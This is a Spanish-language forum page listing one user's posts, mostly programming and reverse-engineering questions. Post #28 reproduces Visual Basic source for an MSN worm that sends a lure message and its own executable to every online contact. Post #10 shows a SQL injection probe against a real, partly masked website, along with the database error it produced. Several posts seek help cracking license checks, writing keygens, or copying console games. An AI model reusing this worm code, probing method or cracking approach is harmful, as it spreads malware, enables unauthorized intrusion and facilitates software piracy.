Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - <housedir>

#1
Desarrollo Web / Gran duda con Iframes
3 Septiembre 2014, 15:20 PM
Bueno, para ir al grano, tengo un iframe al que quiero ocultarle el referer (en realidad no ocultar si no engañar por asi decirlo), pero no entiendo muy bien el funcionamiento de ellos, en mi mente un iframe es algo asi como un skin, cierto?.

tengo lo siguiente:

Web con iframe -> en el iframe coloco el link de un PHP con un javascript (window.location.href) que apunta a la web que no quiero que detecte el referer.

mi duda es, si en realidad la web que se abre en el iframe detecta o no el referer real, osea o detecta el real o detecta el PHP?, lo he probado con varios sniffers y me detecta es el PHP, pero tengo un compañero programador que me dice que no, que si detecta el referer real, que no lo detecta si es simplemente un link, pero que cuando se usa iframe el PHP con javascript no logra ocultarlo y detecta el referer real, que me dicen?
#2
PHP / Convertir texto en imagen con PHP
13 Septiembre 2013, 09:40 AM
hola a todos, quisiera saber como convertir texto en imagen con php, tengo un codigo y funciona bien:


<?php  
if(!isset($_GET['txt']))  
{  
exit();  
}  
  
header ("Content-type: image/png");  
$string $_GET['txt'];  
$font 4;  
$width ImageFontWidth($font) * strlen($string);  
$height ImageFontHeight($font);  
  
$im = @imagecreate ($width,$height);  
$background_color imagecolorallocate ($im255255255); //white background  
$text_color imagecolorallocate ($im00,0);//black text  
imagestring ($im$font00$string$text_color);  
imagepng ($im);  
?>



El problema es que este codigo no hace saltos de linea, quisiera por ejemplo que al enviar un texto tome de limite de ancho 600px y al toparse con ese limite haga un salto de linea y asi en todo el texto
#3
hola a todos, pues veran he estado tratando de entender como armar una expresion regular en vb.net pero no consigo un sitio que me explique detalladamente que hace cada simbolo, solo encuentro ejemplos de como hacer esto o lo otro pero nada de verdad que explique bien las cosas.

Por ejemplo para capturar una url en un texto se usa

Citar(ftp|http|https):\/\/(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?

el cual funciona muy bien, pero si alguien pudiera explicarme un poco como logran llegar a eso se los agradeceria muchisimo...

en estos momentos estoy buscando una expresion regular que me devuelva un texto hasta encontrarce con un "[" ó "(" ó "-"
#4
hola quisiera saber como puedo eliminar una palabra que aparece despues de una frase, por ejemplo:

"Mi perro se fue de paseo y no ha vuelto a casa"

defino la frase inicial, supongamos que la frase inicial seria: "mi perro se fue de", y quisiera eliminar la siguiente palabra a esa frase que seria "paseo", y me quedaria asi:

"mi perro se fue de y no ha vuelto a casa"

La palabra paseo puede variar asi que un simple replace no me sirve
#5
hola a todos, quisiera que me ayudaran a descifrar AES en vb.net, lo he logrado hacer en PHP pero en vb.net ademas de pedirme el codigo a descifrar, y la key, me pide un salt (cosa que PHP parece que genera automaticamente), la key que tiene el texto que quiero descifrar es de 32 carapteres, aqui muestro un codigo que uso pero que siempre me lanza error y es por el salt:


Public Function Decrypt(ByVal encryptedBytes As String, ByVal secretKey As String) As String
        Dim plainText As String = Nothing
        Using inputStream As MemoryStream = New MemoryStream(Convert.FromBase64String(encryptedBytes))
            Dim algorithm As RijndaelManaged = getAlgorithm(secretKey)
            Using cryptoStream As CryptoStream = New CryptoStream(inputStream, algorithm.CreateDecryptor(), CryptoStreamMode.Read)
                Dim outputBuffer(0 To CType(inputStream.Length - 1, Integer)) As Byte
                Dim readBytes As Integer = cryptoStream.Read(outputBuffer, 0, CType(inputStream.Length, Integer))
                plainText = Encoding.Unicode.GetString(outputBuffer, 0, readBytes)
            End Using
        End Using
        Return plainText
    End Function

    Private Function getAlgorithm(ByVal secretKey As String) As RijndaelManaged
        Const salt As String = "aqui el salt"
        Const keySize As Integer = 256

        Dim keyBuilder As Rfc2898DeriveBytes = New Rfc2898DeriveBytes(secretKey, Encoding.Unicode.GetBytes(salt))
        Dim algorithm As RijndaelManaged = New RijndaelManaged()
        algorithm.KeySize = keySize
        algorithm.IV = keyBuilder.GetBytes(CType(algorithm.BlockSize / 8, Integer))
        algorithm.Key = keyBuilder.GetBytes(CType(algorithm.KeySize / 8, Integer))
        algorithm.Padding = PaddingMode.PKCS7
        Return algorithm
    End Function


increiblemente, no consigo un codigo que desencripte el texto que tengo, cuando hasta una web online lo desencipta solo con el texto y la key, espero me puedan ayudar, gracias
#6
hola a todos, esto es algo que me parece muy simple pero que vb.net como que lo hace dificil o complicado, ya intente con ubound y lbound pero no logre hacer lo que quiero, lo que deseo es lo siguiente, supongamos que tengo este texto en un textbox:

hola a todos <inicio>bienvenidos[fin] adios

lo que quiero obtener es "bienvenidos", cabe mencionar que el texto "bienvenidos" siempre va a variar, lo unico que siempre sera igual son los delimitadores <inicio> y [fin], saludos y gracias por su ayuda
#7
Hola a todos, pues quisiera saber como puedo tomar un texto desde un punto a otro, por ejemplo:

"la casa de al lado es de color verde"

y quisiera tomar solo el texto que esta entre "la" y "verde"

y me quede asi:

"casa de al lado es de color"

ya intente con split y lbound ubound pero no me ha funcionado
#8
.NET (C#, VB.NET, ASP) / form principal oculto
13 Diciembre 2012, 00:16 AM
buenas a todos, pues lo que quisiera hacer es que no apareciera ningún indicio de que la aplicación esta abierta, pero necesito usar las funciones de webbrowser en el formulario principal, quisiera que el programa se ejecutara pero en modo oculto y solo se pueda apreciar su proceso en el administrador de tareas, hay forma de hacer esto en vb.net?
#9
Ingeniería Inversa / crackear vb.net?
5 Abril 2011, 07:10 AM
Buenas, veran llevo un tiempo perdido de este mundo de la ingenieria inversa, y me ha tocado editar un programa hecho con vb.net, he usado un decompiler para este caso y todo bien te da hasta el proyecto editable, pero trae muchos errores especificamente me lanza como 100 errores de todo tipo y no lo he podido compilar, ademas que iso una conversion porq tengo visual studio.net 2010 y fue hecho con una version mas vieja, mi pregunta es, hay forma de editar el programa y compilarlo de nuevo sin problemas?, el ollydbg al parecer esta actualizado para desamblar los .net pero me lanza error, no se como tengo que hacer para volver a guardar el ejecutable, les agradezco la ayuda, saludos
#10
Bugs y Exploits / sql injection?
23 Noviembre 2010, 02:52 AM
buenas, veran soy algo nuevo en el tema, y siempre me ha interesado este tema, pero ahora es que le he puesto carino a la cosa, veran tengo backtrack y he empezado a aprender a usar sus herramientas, ahora tengo una web que acunetix me dice que permite injeccion sql y quiero que me digan segun este mensaje si se puede o no, ya que no he podido encotrar informacion q me ayude, lo q encuentro son tutoriales que no me sirven de nada veran coloco esto en la url:

http://www.xxxxx.ve/galeria/index.php?page=\%27

y me da como resultado esto

Error en la consulta limitada: SELECT * FROM xxx_admin.gallery ORDER BY img_id DESC LIMIT -9,9. Mysql dijo: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-9,9' at line 1

si alguien me puede decir si acunetix se equivoca o no, y donde encuentro un buen tutorial que me ayude en verdad en el tema de inyeccion sql, gracias
#11
Ingeniería Inversa / packer fake ninja v2.0?
26 Enero 2010, 21:50 PM
buenas pss veran tengo un programita el cual esta protegido por el pack fake ninja 2.0 muy poco conocido a mi parecer, e estado buscando como desempaquetarlo y he encontrado un tuto en ingles q dice como hacerlo, el problema es q la explicacion que sale en ese tuto no se parece nada a mi caso, porq en el tuto el Entry Point a el le sale una llamada osea un CALL luego coloca un breakpoint en el primer retrn que le sale y de hay salta con F7 a PUSH EBP y lo que hace es modificar con el ollydump la llamada hacia el PUSH EBP, en mi caso es extraño porq mi Entry point es de una ves el PUSH EBP, y nose cual llamada usar, la verdad si me pudieran ayudar se los agradeceria soy algo novato en este tema pero me gusta aprender, use el RDG Packer Detector y me dijo q estaba protegido por ese pack y de paso me dijo que tenia capacidad de agregar signaturas falsas...

muchas gracias
#12
Ingeniería Inversa / Que ago en este caso?
15 Enero 2010, 17:32 PM
buenas, pss veran necesito saber si alguien me puede guiar en este caso que me tiene loco desde hace unos dias, tengo 2 programas hechos en delphi, uno es una version vieja ya crackeada y el otro es una version nueva que no a sido crackeada, la diferencia en el registro de licencia de uno al otro, es q la vieja tiene una ventanita la cual permite ingresar el codigo de registro y el nombre de la empresa de la que quieres registrar el programa lo cual me parece que fue facil de crackear, ahora la version nueva no tiene esa ventanita tiene un boton que dice registrar licencia y al momento de darle click no pasa nada, me imagino que el programador elimino la ventana de registro para q no se lo crackearan como la version vieja, ahora los codigos de la version vieja y la nueva son parecidos, los nombres de las empresas se guardan en la base de datos, y e logrado ver donde hace el llamado la version antigua y donde se almacena el nombre de la empresa cuando lo ejecuto, pero mi problema es q en la version nueva como no hay ventana de registro tendria q meter el nombre de la empresa directo en el exe y q no lo leyera de la base de datos, porq la unica limitacion del programa es que no le puedes meter nombres de empresas y por ende cuando vas a imprimir algun documento que lo imprime el mismo programa sale sin el nombre de la empresa, si alguien me puede ayudar en esto se los agradeceria, yo tengo el programa y tengo el exe desprotegido porq venia protegido, si alguien le quiere hechar un vistaso porfavor avisenme y con gusto se los paso, saludos
#13
buenas, pss veran quisiera saber como hacer para comparar las lineas modificadas en un programa crackeado, osea diferenciar el crack del original a ver q lineas fueron modificadas, nose si con el olly se pueda hacer esto, de antemano gracias
#14
Ingeniería Inversa / que sugerencia me dan?
18 Noviembre 2009, 07:52 AM
bueno pss veran, tengo un problema con un programita hecho en delphi, la cosa es q el programa esta hecho en delphi, y tiene algunas limitaciones curiososas, una es q no hay opcion de registrar la licencia por ningun lado lo q lo a hecho algo fastidioso, segundo hay una parte donde se ingresa el nombre de la empresa y la licencia y es como un textbox pero no deja que uno le escriba en ninguna de las 2 casillas, osea estan activas pero no se les puede escribir en ellas, lo q me da a pensar que esas casillas las carga automaticamente leyendo la base de datos, o como es un demo vienen desactivadas por defecto, con un editor de recursos e logrado activar la casilla de licencia, lo que no me sirvio de nada porq ingreso una licencia y al momento de darle registar no hace nada solo la borra y ya, ahora que sugerencias me darian para combatir este problema, si quieren analizarlos por ustedes mismos avisenme y les paso el link por privado, saludos
#15
buenas, pss veran el RDG me a detectado la siguiente proteccion: Lockless Intro Pack, y quisiera saber de q se trata y como combatirla ya que en la web no sale casi info sobre el tema, de antemano gracias
#16
Ingeniería Inversa / UPX scrambler y obsidium??
13 Noviembre 2009, 07:53 AM
buenas a todos, pss veran e conseguido un programa un poco particular, segun el RGD packer cuando selecciono metodo rapido me dice que el programa esta protegido con UPX eucaristico (scrambler) el q no tengo ni idea de que se trata ni como descomprimirlo ya que el metodo upx -d *programa, no me funciona, luego cuando selecciono multideteccion en el RGD packer me detecta que esta protegido con un packer llamado obsidium al cual le e conseguido un script para el olly q a segun lo desempaca, pero primero tengo q salir del UPX scrambler que no tengo ni idea de q es, si alguien sabe y me podria decir de donde puedo sacar info sobre ese upx se lo agradeceria, saludos
#17
Ingeniería Inversa / porq ocurre esto?
10 Noviembre 2009, 08:58 AM
buenas, pss veran estoy tratando de analizar 2 programas hechos en delphi, los e revisado con el RDG_Packer_Detector y me dice que no tiene proteccion solo que esta hecho el delphi 5, y los 2 al momento de abrirlo con el olly abajo me sale algo como heucaristical xxxxx, quisiera saber como evitar eso, si es con algun plugins o configurando algo, el olly no se cierra, solo me lanza ese dato hay, y ademas no me muestra el codigo completo del programa, de antemano gracias
#18
Juegos y Consolas / PROYECTO juego de hackers..
1 Octubre 2009, 08:36 AM
buenas a todos, no sabia si postear esto en este subforo o en el de hacking, pero creo q me ayudaran mas en este :P.
Veran no se si en este subforo la gente le interese mucho el arte del hacking y todo eso, pero como la web se llama elhacker.net creo q a muchos les interesara como a mi XD
Mi idea despues de haber jugado un tiempo pokemon en mi cel n95 con un emulador en momentos de mucho tiempo libre  :rolleyes: me pregunte si se podria crear un juego tipo rpg o algo parecido, osea un juego con graficos sencillos al alcance de nosotros los mortales que no tenemos para pagarle a una cuadrilla de programadores para q hagan un juego XD. la idea es poder usar el RPG maker VX o el Action rpg maker que salio recientemente y que e visto juegos muy buenos hechos en el, para crear un juego donde el protagonista sea un hacker que al trayecto del juego valla mejorando sus habilidades y asi poder sabotear empresas por medio de una PC, la idea seria algo mas amplia como por ejemplo que nuestro hacker primero tendria que conseguir algunas cosas para robar una tienda de electronica conseguir la PC, conseguir datos para poder entrar a las pcs de los bancos y transferir dinero y asi ir hasta el final que seria volverse dueño de alguna empresa de seguridad informatica XD. la cosa seria eliminar casi por completo las batallas tipo pokemon q son algo fuera del tema en este juego, a menos q se usara para batallar con algun otro hacker pero con ataques tipo Bugs troyanos virus y cosas por el estilo, nuestro hacker seria mejor dicho un cracker y no se comportaria como un heroe si no mas que todo como un mafioso de la informatica, quisiera saber que piensan y con que programa podria crear un juego con esta idea, sea rpg maker, action rpg maker o con algun otro programa que ustedes conozcan, escucho sugerencias, y si alguno se quiere unir al proyecto bienvenido sea :)... saludos a todos
#19
buenas a todos :). pss les traigo mi ultimo crackme en este lenguaje ;) pronto migrare a otro, y no queria dejarlo sin crear un crackme mas, bueno en si es parecido al anterior solo que ahora no tienen que ingresar un usuario y serial, sino que nadamas tienes que ingresar un codigo correcto y listo ;).

Dificultad: nose siempre calculo mas de lo que es  :rolleyes:
Objetivo: Conseguir codigo correcto.

http://www.megaupload.com/?d=NIL41D6I

saludos a Holy jaja, espero este se te haga mas dificil  ;D

:::karmany::: no vi el segundo crackme que hice el el post de crackme y manuales si quieres colocas los 3 juntos para no hacer tan larga la lista :), sino avisame para colocar los 3 en un solo link para hacer mas facil las cosas.. saludos

salu2
#20
buenas de nuevo :), aqui les traigo la version 0.2 de mi crackme quedo algo parecido pero cambie totalmente el metodo de proteccion ;). ahora hay que ingresar un nombre y descubrir el serial correcto:

http://www.megaupload.com/?d=7KBSF0NJ

dificultad: 3-4/10
Objetivo: conseguir un nombre y serial valido.

:) este creo q esta algo mas dificil q el anterior, le puse mas empeno, y creo q un keygen seria mucho mas dificil que el del primero pero si logran hacer uno, mejor :), y me disculpan la tardanza.

cualquier cosa yo tengo un keygen ya ;)..

saludos a todos.
#21
buenas a todos :)

he creado un crackme para foro.elhacker.net me disculpan los errores q pueda tener y el peso porq ta algo pesadito a diferencia de los otros q e visto en el foro  ;D es mi primer proyecto, espero les guste.

tienen que ingresar un serial cualquiera tiene q ser solo numeros (creo q olvide configurarlo para q solo acepte numeros sorry) y descubrir cual es el codigo correcto. el lenguaje lo van a descubrir facil  ;) aqui les va:

dificultad: 2? nose diganme ustedes depense del nivel de cada quien :)
reto: descubrir serial/codigo valido

link: http://www.megaupload.com/?d=MXP3ICFB

saludos a todos, espero les guste.
#22
buenas a todos, pss veran quisiera saber porq no existe un subforo de delphi habiendo uno de VB que es su principal competencia, me parece que delphi es muy potente y mejor que VB en algunas cosas, creo q en este foro hay mucha gente con conocimientos sobre delphi (creo yo) como para que no alla un subforo con su nombre, ademas que seria muy bueno porq delphi tiene muy poco material para aprender a diferencia de VB que tiene muchisimo, material de delphi e encotrado pero muy viejo y si ubiera un subforo delphi creo q ayudaria mucho a la gente que le gusta este lenguaje tan bueno. es mi humilde opinion  :), no lo tomen a mal, me gusta muchisimo este foro, solo queria salir de la duda.

salu2 a todos
#23
buenas a todos, e estado tratando de conseguir el dUP2 2.17 pero nada q lo encuentro busque en el post de erramientas pero el link esta malo si alguien me puede decir donde encontrarlo lo agradeceria..

saludos
#24
buenas a todos, veran desde hace un tiempo e estado tratando de crearle un keygen a un programa el cual e empezado a meterlo en el smartcheck, es un VB nativo, la proteccion es que el programa genera un serial de 20 cifras de las cuales 15 son aleatorias y 5 nunca cambian q son "80211", digo aleatorias porq cada vez q uno cierra y abre el programa cambian estas cifras y estas son dadas por el programa y no pueden ser modificadas, luego de eso genera un codigo de activacion de 30 cifras de las cuales 27 son aleatorias menos 3 que son: "SD3" q nunca cambia, este codigo es el q ingresa uno para poder activar el programa y el q yo quiero que genere el keygen. adjunto una imagen explicando todo:



A mi parecer el codigo de activacion no depende solo del serial sino q tambien depende de otras variables por lo cual no puedo hacer que el keygen me genere el codigo de activacion a partir del serial. No se que me dicen ustedes? es posible crearle un keygen a este programa o es mejor crackearlo para q acepte cualquier clave q uno ingrese?

salu2
#25
Ingeniería Inversa / problema con smartcheck
26 Abril 2009, 22:12 PM
buenas a todos, pss veran e estado tratando de crackear un programa hecho en vb con el smartcheck y ollydbg, mi problema es q la primera vez q abro el smartcheck me sale la ventanita de "events" q sale a la derecha q te da detalles de cada linea del codigo q tocas, pero al momento de cerrar el smartchek y volverlo a abrir no me sale mas nunca esa ventanita lo q me hace dificil ver algunas partes q necesito, ya e tratado de meterme a configurarlo y no puedo, si alguien me puede ayudar a volver a poner esa ventanita lo agradeceria mucho. en esta imagen pueden ver la ventana q ami se me desaparece a la derecha:




salu2
#26
buenas a todos, veran e estado tratando de crackear un programa el cual le e logrado sacar la clave gracias al vbaStrCmp.v2.1-RES-tool, con el cual yo ingreso una clave erronea y el RES-tool me da la buena  ;D.. como veran es un programa hecho en VB nativo, el cual genera un serial aleatorio y hay q ingresar un codigo de activacion por ejemplo:

SERIAL: 01845-93082-56644-22887---- es creado aleatoriamente, te lo da el programa y no puede ser modificado
Codigo de Activacion: SD373516B9ADD4 45967 ---- esto es lo q quiero q genere el keygen siguiendo el numero del serial, es unico para cada SERIAL.

el serial es unico igual q su codigo de activacion, y gracias al RES-tool puedo saber el codigo de cualquier serial, y quisiera saber si teniendo sientos de seriales con su codigo de activacion puedo descifrar el algoritmo para hacer un keygen...

salu2
#27
Ingeniería Inversa / ollydbg y wbhelp?
17 Abril 2009, 05:00 AM
buenas a todos, soy nuevo en este tema y e querido empezar con los tutos de crackme ademas de leer el tuto basico para principiantes, y mi problema es q al momento de ejecutar algun crackme en el ollydbg siempre me salta el siguiente error:

Citar"Module 'wbhelp' has entry point outside the code (as specified in the PE header). Maybe this file is self-extracting or self-modifying. Please keep in mind when setting breakpoints!"

la curiosidad q tengo es q me hace referencia al dll wbhelp que pertenece a un programa q modifica las ventanas de windows q se llama: WindowBlinds

si alguien me podria decir q hacer se lo agradeceria mucho..

salu2

#28
Programación Visual Basic / ayuda con este codigo
12 Noviembre 2007, 16:47 PM
hola a todos, bueno no se si esto va en esto va aquí pero bueno no se mucho de visual basic y no me interesa aprenderlo por los momentos estoy concentrado en otros lenguajes. tengo un codigo q saque de un tuto de hendrix q esta formado de la siguiente manera:
On Error GoTo NotCompatible
Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine...
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat
Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo
Next
End If
Exit Sub
NotCompatible:
MsgBox "No tienes MSN instalado en el sistema", vbCritical, "Error"
end

Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la
ventana
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo
Call SendText(l, "***** Screen saber") 'Mensaje a enviar
EnviarFile App.Path & "\" & App.EXEName & ".exe", l 'Archivo a enviar
End Sub
Bien, empezemos con lo dificil. Primero la funcion para enviar texto. A esta funcion le tenemos
que pasa el handle de la ventana de chat y el texto a enviar. Usaremos las APIs siguientes:
GetForegroundWindow
SetForegroundWindow
PostMessage

Public Sub SendText(pIMWindow As Long, sText As String)
Dim hDirectUI As Long, hPrevWnd As Long
Dim i As Integer
hDirectUI = pIMWindow
Do
Call SetForegroundWindow(hDirectUI)
Loop Until GetForegroundWindow = hDirectUI
For i = 1 To Len(sText)
Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&)
Next i
Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&)
End Sub

Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean
Dim X As Long
Dim Edit As Long
Dim ParentHWnd As Long
Dim hWndText As String
Dim t As Single
Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0)
DoEvents
X = GetWindow(GetDesktopWindow(), GW_CHILD)
hWndText = fWindowText(X)
t = Timer
Do Until (InStr(hWndText, "Enviar") <> 0 Or (InStr(hWndText, "Send") <> 0)
X = GetWindow(X, GW_HWNDNEXT)
hWndText = fWindowText(X)
If Format(Timer - t, "0.00") > 5 Then GoTo FIN
Loop
Edit = FindWindowEx(X, 0, "Edit", vbNullString)
If Edit = 0 Then
Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString)
Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString)
End If
If Edit = 0 Then Exit Function
Call SendMessageByString(Edit, WM_SETTEXT, 0, DirPath)
Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&)
EnviarFile = True
FIN:
End Function


Luego me salen las declaraciones de apis y constantes pero public const me sale un error:

Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long,
ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long,
ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As
Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As
String, ByVal lpWindowName As String) As Long
Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As
Long, ByVal nIndex As Long) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetDesktopWindow Lib "user32" () As Long
Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wFlag As Long) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Const GW_HWNDFIRST = 0&
Private Const GW_HWNDNEXT = 2&
Private Const GW_CHILD = 5&
Public Const GWL_HWNDPARENT = (-8)
Public Const WM_SETTEXT = &HC
Public Const WM_GETTEXT = &HD
Public Const WM_GETTEXTLENGTH = &HE
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_COMMAND = &H111
Public Const VK_RETURN = &HD


si alguien me puede decir como va ordenado ese codigo se los agredeceria mucho
#29
Software / Ayuda con este grabador :=(
11 Junio 2007, 05:09 AM
buenas a todos, pss veran tengo una laptop dell 6400 con un grabador de dvd optiarc DVD+-RW AD-5540A y no me quiere quemar minidvds ya e probado varios programas y varios minidvds hasta lo prove en linux y tampoco no puedo creer q no sea compatible con los mini dvd-R
#30
hola a todos! llevo tiempo conociendo este foro y se me paso por la mente el tema del PHREAKING para los q no sepan es la utilizacion de algunos metodos para hacer llamadas gratis desde una pc, cabina ect. y me preguntaba tanto tiempo que tiene este foro y no an creado una sección propia para este tema (hasta los momentos si no me equivoco no la tiene). me pareceria bueno que se incluyera una secion sobre el tema ya que me parece muy interesante no les parece?  ;D lo digo como sugerencia. saludos  ;D
#31
Juegos y Consolas / AYUDA CON SIMCITY 4
22 Septiembre 2006, 03:19 AM
buenas a todos. alguien de casualidad tiene una cuenta creada en la pagina de simcity 4 para poder bajar las herramientas para crear edificios y eso o me puede pasar un serial de un cd original para poder registrarme. de ante manos gracias
#32
Juegos y Consolas / PIRATEAR JUEGOS GAME CUBE
22 Julio 2006, 09:08 AM
Buenas, disculpen alguien me podriar informar como hacer para copiar juegos de game cube, en q formato se deben grabar, se nesecita algun programa en especial? 
#33
hola, alguien me puede decir donde conseguir algun traductor al castellano de Medal of Honor Pacific Assault, de ante mano gracias ;D
#34
Programación Visual Basic / vbs a exe
28 Mayo 2006, 04:40 AM
alguien sabe como pasar un vbs a exe que no sea con el programa exescript ya que no lo ejecuta bien. sera q se puede?  :huh: